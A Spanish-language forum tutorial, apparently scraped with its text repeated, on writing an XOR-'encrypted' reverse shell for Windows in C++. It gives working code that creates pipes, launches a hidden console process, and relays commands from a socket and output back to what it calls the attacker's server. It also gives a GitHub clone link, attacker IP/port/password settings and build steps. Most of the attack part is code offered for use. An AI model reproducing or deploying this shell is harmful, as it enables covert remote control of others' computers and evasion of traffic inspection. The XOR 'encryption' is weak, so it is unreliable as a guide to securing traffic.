Hola comunidad, hoy traigo la segunda parte del post anterior sobre No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta, esta vez aplicado a sistemas Windows.
En teoria el proceso es el mismo, a diferencia que ahora no se realiza un duplicado de la imagen del proceso en memoria. Las funciones mas importantes a usar con:
Como aclare anteriormente es casi el mismo proceso. Primero procedemos a crear las tuberias usando CreatePipe:
Código: cpp
En sistemas windows HANDLE es como decir, un descriptor de archivo en linux fd, se usa para crear archivos, leer y escribir hacia ellos. En este caso haremos uso del mismo para crear tuberias.
La estructura No tienes permitido ver los links. Registrarse o Entrar a mi cuenta contiene la informacion que se le pasara a la funcion CreatePipe, esta estructura decide si un proceso hijo puede heredar o no los HANDLES creados por esta funcion, en este caso las tuberias.
Luego esta la funcion CreatePipe la cual recibe los siguientes parametros:
Código: cpp Extraido de la web de No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
La funcion retorna verdadero si se creo la tuberia o falso si sucede un error. Si todo sale bien, hemos creado las siguientes tuberias:
Código: text
Todo lo que se escriba a stdinWr, se puede leer en stdinRd, y es el mismo caso para stdoutRd/stdoutWr.
Luego de crear las tuberias se procede a crear el proceso hijo especificandole que redireccione stdout/stderr a un extremo de escritura de una de las tuberias previamente creadas (stdoutWr):
Código: cpp
La estructura No tienes permitido ver los links. Registrarse o Entrar a mi cuenta contiene la informacion de como se creara la ventana del nuevo proceso. La funcion No tienes permitido ver los links. Registrarse o Entrar a mi cuenta obtiene una estructura del tipo STARTUPINFO, la cual contiene la informacion que se uso al crear el proceso actual. Se hace uso de la misma para llenar la estructura si (la cual vamos a usar para crear el proceso hijo) y asi modificar solamente las siguientes lineas:
Código: cpp
El valor dwFlags contiene la opcion u opciones que se utilizaran en la esctructura:
Despues se crea el proceso haciendo uso de la funcion CreateProcess:
Código: cpp
La cual recibe los siguientes parametros:
Código: cpp Extraido de la web de No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
En este caso solo nos interesan 5 parametros:
Hasta aqui programa.exe se esta ejecutando oculto, leyendo y escribiendo desde y hacia las tuberias creadas por el proceso padre. Ahora se crean dos hilos para leer y escribir al programa mediante las tuberias, asi logramos control sobre lo que salga y entre al programa para aplicar cualquier tipo de "cifrado", en este ejemplo la vieja confiable XOR:
Código: cpp
El hilo el cual escribira al proceso va de la siguiente manera:
Código: cpp
la funcion No tienes permitido ver los links. Registrarse o Entrar a mi cuenta recibe como primer parametro el HANDLE hacia el cual escribir, en este caso el extremo de escritura de la tuberia (stdinWr), el segundo parametro es la informacion a escribir, la cual es strCmd que previamente se ha "descifrado" con XOR, el tercer parametro es la cantidad de bytes a escribir, el cuarto es un puntero a una variable de tipo DWORD que recibe la cantidad de bytes que se escribieron al HANDLE(stdinWr) y el ultimo le pasamos como parametro nullptr. Si la funcion se ejecuto correctamente el resultado es mayor a 0, si el retorno es este valor, ocurrio un error.
Y por ultimo el hilo que lee del proceso creado va de la siguiente forma:
Código: cpp
haciendo uso de la funcion previamente explicada PeekNamedPipe que se usa para leer del Pipe/HANDLE especificado(stdoutRd), pero al leer esta funcion no borra nada de la tuberia, es para el simple proposito de darle una "ojeada" (Peek) al HANDLE. Ademas del extremo de la tuberia se le pasa como parametro un puntero al buffer el cual recibira los datos pero en este caso como solo le estamos dando una ojeada se le pasa como parametro nullptr. Tambien recibe como parametro un puntero a una variable que recibira el valor de la cantidad de bytes que se pudieron leer (bytesLeidos). Los demas parametros se quedan en nullptr ya que no se almacenara nada solo es para ver si ya hay datos disponibles para leer.
Si la variable bytesleidos es mayor a cero significa que hay datos y podemos proceder a leer de la tuberia haciendo uso de la funcion ReadFile:
Código: cpp
esta funcion recibe la misma cantida de parametros que WriteFile, el (HANDLE/Pipe) del cual leer, donde almacenar los datos (cBuffer), cantidad de bytes a leer (512) y un puntero a una variable que recibe la cantidad de bytes leidos. El ultimo parametro al igual que la funcion WriteFile lo dejamos en nullptr. Una vez leidos los datos se "cifran" haciendo uso de XOR y posteriormente los envia al servidor(atacante).
Pues esa es una descripcion (no muy a fondo) del desarollo e implementacion de una shell inversa "cifrada" en sistemas Windows. El proyecto esta alojado en github como: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Y como siempre no puede faltar el mini tutorial:
Clonar:
Código: dos
O descargar desde aqui : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
Luego editar el fichero Windows/Client.cpp y modificar la siguiente linea de la clase:
Código: cpp
con cualquier contraseña que se desee. Luego modificar la funcion main:
Código: cpp
con la informacion que utilizara el cliente para conectarse.
Abrir el archivo Windows/Server.cpp y modificar la funcion main:
Código: cpp
con el puerto y la contraseña a usar en la comunicacion.
Compilar en el directorio Windows/ con mingw32-make client && mingw32-make server. Luego solo toca correr el servidor y el cliente en otra pc.
Una captura:

Espero que les sirva de algo, cualquier duda/aporte/comentario es muy bien recibido. Les deseo un feliz resto del dia
Saludos.
Edit:
Cometi un error en la llamada a la funcion PeekNamedPipe, antes de la variable que recibe la cantidad de bytes leidos, se le debe pasar cuantos bytes se deben leer ya que de lo contrario retornara 0. Si les dio el error de compilacion intercambiar el nullptr antes de la variables que recibe los datos con 512. Asi:
Código: cpp
O si ya lo clonaron, actualizan con:
Código: dos
Sinceras disculpas por el error.
En teoria el proceso es el mismo, a diferencia que ahora no se realiza un duplicado de la imagen del proceso en memoria. Las funciones mas importantes a usar con:
- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta - Igual que pipe en linux, crea una tuberia con un extremo de lectura y otro de escritura.
- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta - Copia y extrae informacion de una tuberia sin modificar su contenido.
- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta - Crea un nuevo proceso, lo genial de esta api es que podemos configurar como se va a ejecutar el programa, en este caso, la manipulacion de stdin y stdout/stderr como nos plazca de una manera muy facil.
Como aclare anteriormente es casi el mismo proceso. Primero procedemos a crear las tuberias usando CreatePipe:
HANDLE stdinRd, stdinWr, stdoutRd, stdoutWr;
stdinRd = stdinWr = stdoutRd = stdoutWr = nullptr;
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = nullptr;
sa.bInheritHandle = true; //Proceso hijo puede heredar tuberias retornadas por CreatePipe
if(!CreatePipe(&stdinRd, &stdinWr, &sa, 0) || !CreatePipe(&stdoutRd, &stdoutWr, &sa, 0)){
//No se pudo crear las tuberias
}
En sistemas windows HANDLE es como decir, un descriptor de archivo en linux fd, se usa para crear archivos, leer y escribir hacia ellos. En este caso haremos uso del mismo para crear tuberias.
La estructura No tienes permitido ver los links. Registrarse o Entrar a mi cuenta contiene la informacion que se le pasara a la funcion CreatePipe, esta estructura decide si un proceso hijo puede heredar o no los HANDLES creados por esta funcion, en este caso las tuberias.
Luego esta la funcion CreatePipe la cual recibe los siguientes parametros:
BOOL CreatePipe(
PHANDLE hReadPipe, //Extremo de lectura (stdinRd)
PHANDLE hWritePipe, //Extremo de escritura (stdinWr)
LPSECURITY_ATTRIBUTES lpPipeAttributes, //Estructura con los atributos de seguridad (sa)
DWORD nSize //Tamaño de la estructura (sizeof(SECURITY_ATTRIBUTES))
);
La funcion retorna verdadero si se creo la tuberia o falso si sucede un error. Si todo sale bien, hemos creado las siguientes tuberias:
stdinRd < === > stdinWr
stdoutRd < === > stdoutWr
Todo lo que se escriba a stdinWr, se puede leer en stdinRd, y es el mismo caso para stdoutRd/stdoutWr.
Luego de crear las tuberias se procede a crear el proceso hijo especificandole que redireccione stdout/stderr a un extremo de escritura de una de las tuberias previamente creadas (stdoutWr):
PROCESS_INFORMATION pi;
STARTUPINFO si;
GetStartupInfo(&si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = stdoutWr;
si.hStdError = stdoutWr;
si.hStdInput = stdinRd;
if(CreateProcess(nullptr, "programa.exe", nullptr, nullptr, true, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi) == 0){
//No se pudo invocar la shell
}
La estructura No tienes permitido ver los links. Registrarse o Entrar a mi cuenta contiene la informacion de como se creara la ventana del nuevo proceso. La funcion No tienes permitido ver los links. Registrarse o Entrar a mi cuenta obtiene una estructura del tipo STARTUPINFO, la cual contiene la informacion que se uso al crear el proceso actual. Se hace uso de la misma para llenar la estructura si (la cual vamos a usar para crear el proceso hijo) y asi modificar solamente las siguientes lineas:
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = stdoutWr;
si.hStdError = stdoutWr;
si.hStdInput = stdinRd;
El valor dwFlags contiene la opcion u opciones que se utilizaran en la esctructura:
- STARTF_USESTDHANDLES - Redireccionar salida y entrada del programa hacia nuestras tuberias.
- STARTF_USESHOWWINDOW - Como se va a mostrar la ventana del proceso hijo.
- Todo lo escrito a stdinWr ira a la entrada(stdin) del programa.
- Todo lo que salga del programa(stdout) lo podemos leer en stdourRd.
Despues se crea el proceso haciendo uso de la funcion CreateProcess:
CreateProcess(nullptr, "programa.exe", nullptr, nullptr, true, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi)
La cual recibe los siguientes parametros:
BOOL CreateProcess(
LPCWSTR pszImageName,
LPCWSTR pszCmdLine,
LPSECURITY_ATTRIBUTES psaProcess,
LPSECURITY_ATTRIBUTES psaThread,
BOOL fInheritHandles,
DWORD fdwCreate,
LPVOID pvEnvironment,
LPWSTR pszCurDir,
LPSTARTUPINFOW psiStartInfo,
LPPROCESS_INFORMATION pProcInfo
);
En este caso solo nos interesan 5 parametros:
- pszCmdLine - Ruta al programa a ejecutar (programa.exe).
- fInheritHandles - Especifica si el proceso hijo heredara o no HANDLES creados por el proceso padre (tuberias creadas anteriormente).
- pvEnvironment - Especifica el entorno en el cual se creara el nuevo proceso.
- psiStartInfo - Informacion con la cual sera creada el proceso (la estructura antes modificada si).
- pProcInfo - Puntero a una estructura que recibe la informacion de identificacion del proceso creado.
Hasta aqui programa.exe se esta ejecutando oculto, leyendo y escribiendo desde y hacia las tuberias creadas por el proceso padre. Ahora se crean dos hilos para leer y escribir al programa mediante las tuberias, asi logramos control sobre lo que salga y entre al programa para aplicar cualquier tipo de "cifrado", en este ejemplo la vieja confiable XOR:
//Funcion de cifrado XOR
std::string XOR(const std::string Data, const std::string Password){
std::string Final = "";
for(char cD : Data){
for(char cS : Password){
cD ^= cS;
}
Final.append(1, cD);
}
return Final;
}
El hilo el cual escribira al proceso va de la siguiente manera:
while(EstaCorriendoLaShell){
char buffer[1024];
recv(sckSocket, buffer, 1024, 0);
std::string strCmd = Xor(std::string(buffer));
DWORD longitud = strCmd.length();
DWORD bytesEscritos = 0;
if(!WriteFile(stdinWr, strCmd.c_str(), longitud, &bytesEscritos , nullptr)){
//Error escribiendo a la tuberia
EstaCorriendoLaShell = false;
break;
}
}
la funcion No tienes permitido ver los links. Registrarse o Entrar a mi cuenta recibe como primer parametro el HANDLE hacia el cual escribir, en este caso el extremo de escritura de la tuberia (stdinWr), el segundo parametro es la informacion a escribir, la cual es strCmd que previamente se ha "descifrado" con XOR, el tercer parametro es la cantidad de bytes a escribir, el cuarto es un puntero a una variable de tipo DWORD que recibe la cantidad de bytes que se escribieron al HANDLE(stdinWr) y el ultimo le pasamos como parametro nullptr. Si la funcion se ejecuto correctamente el resultado es mayor a 0, si el retorno es este valor, ocurrio un error.
Y por ultimo el hilo que lee del proceso creado va de la siguiente forma:
while(EstaCorriendoLaShell){
char cBuffer[512];
DWORD bytesLeidos = 0;
if(PeekNamedPipe(stdoutRd, nullptr, 512, &bytesLeidos, nullptr, nullptr)){
if(bytesLeidos > 0){
ReadFile(stdoutRd, cBuffer, 512, &bytesLeidos, nullptr);
} else {
//Todavia no hay nada
Sleep(100);
continue;
}
std::string strCmd = Xor(std::string(cBuffer));
int iLen = strCmd.length();
send(sckSocket, strCmd.c_str(), iLen, 0);
} else {
//PeekNamedPipe error
EstaCorriendoLaShell = false;
break;
}
}
haciendo uso de la funcion previamente explicada PeekNamedPipe que se usa para leer del Pipe/HANDLE especificado(stdoutRd), pero al leer esta funcion no borra nada de la tuberia, es para el simple proposito de darle una "ojeada" (Peek) al HANDLE. Ademas del extremo de la tuberia se le pasa como parametro un puntero al buffer el cual recibira los datos pero en este caso como solo le estamos dando una ojeada se le pasa como parametro nullptr. Tambien recibe como parametro un puntero a una variable que recibira el valor de la cantidad de bytes que se pudieron leer (bytesLeidos). Los demas parametros se quedan en nullptr ya que no se almacenara nada solo es para ver si ya hay datos disponibles para leer.
Si la variable bytesleidos es mayor a cero significa que hay datos y podemos proceder a leer de la tuberia haciendo uso de la funcion ReadFile:
ReadFile(stdoutRd, cBuffer, 512, &bytesLeidos, nullptr);
esta funcion recibe la misma cantida de parametros que WriteFile, el (HANDLE/Pipe) del cual leer, donde almacenar los datos (cBuffer), cantidad de bytes a leer (512) y un puntero a una variable que recibe la cantidad de bytes leidos. El ultimo parametro al igual que la funcion WriteFile lo dejamos en nullptr. Una vez leidos los datos se "cifran" haciendo uso de XOR y posteriormente los envia al servidor(atacante).
Pues esa es una descripcion (no muy a fondo) del desarollo e implementacion de una shell inversa "cifrada" en sistemas Windows. El proyecto esta alojado en github como: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Y como siempre no puede faltar el mini tutorial:
Clonar:
git clone https://github.com/d3adlym1nd/Ciphered-Reverse-Shell.git
O descargar desde aqui : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
Luego editar el fichero Windows/Client.cpp y modificar la siguiente linea de la clase:
std::string strPassword = "$up3rP@sSw0rD";
con cualquier contraseña que se desee. Luego modificar la funcion main:
if(Cli->Connect("127.0.0.1", "1337")){
con la informacion que utilizara el cliente para conectarse.
Abrir el archivo Windows/Server.cpp y modificar la funcion main:
Server *Srv = new Server(1337, "$up3rP@sSw0rD");
con el puerto y la contraseña a usar en la comunicacion.
Compilar en el directorio Windows/ con mingw32-make client && mingw32-make server. Luego solo toca correr el servidor y el cliente en otra pc.
Una captura:

Espero que les sirva de algo, cualquier duda/aporte/comentario es muy bien recibido. Les deseo un feliz resto del dia

Saludos.
Edit:
Cometi un error en la llamada a la funcion PeekNamedPipe, antes de la variable que recibe la cantidad de bytes leidos, se le debe pasar cuantos bytes se deben leer ya que de lo contrario retornara 0. Si les dio el error de compilacion intercambiar el nullptr antes de la variables que recibe los datos con 512. Asi:
PeekNamedPipe(stdoutRd, nullptr, 512, &bytesLeidos, nullptr, nullptr)
O si ya lo clonaron, actualizan con:
git pull
Sinceras disculpas por el error.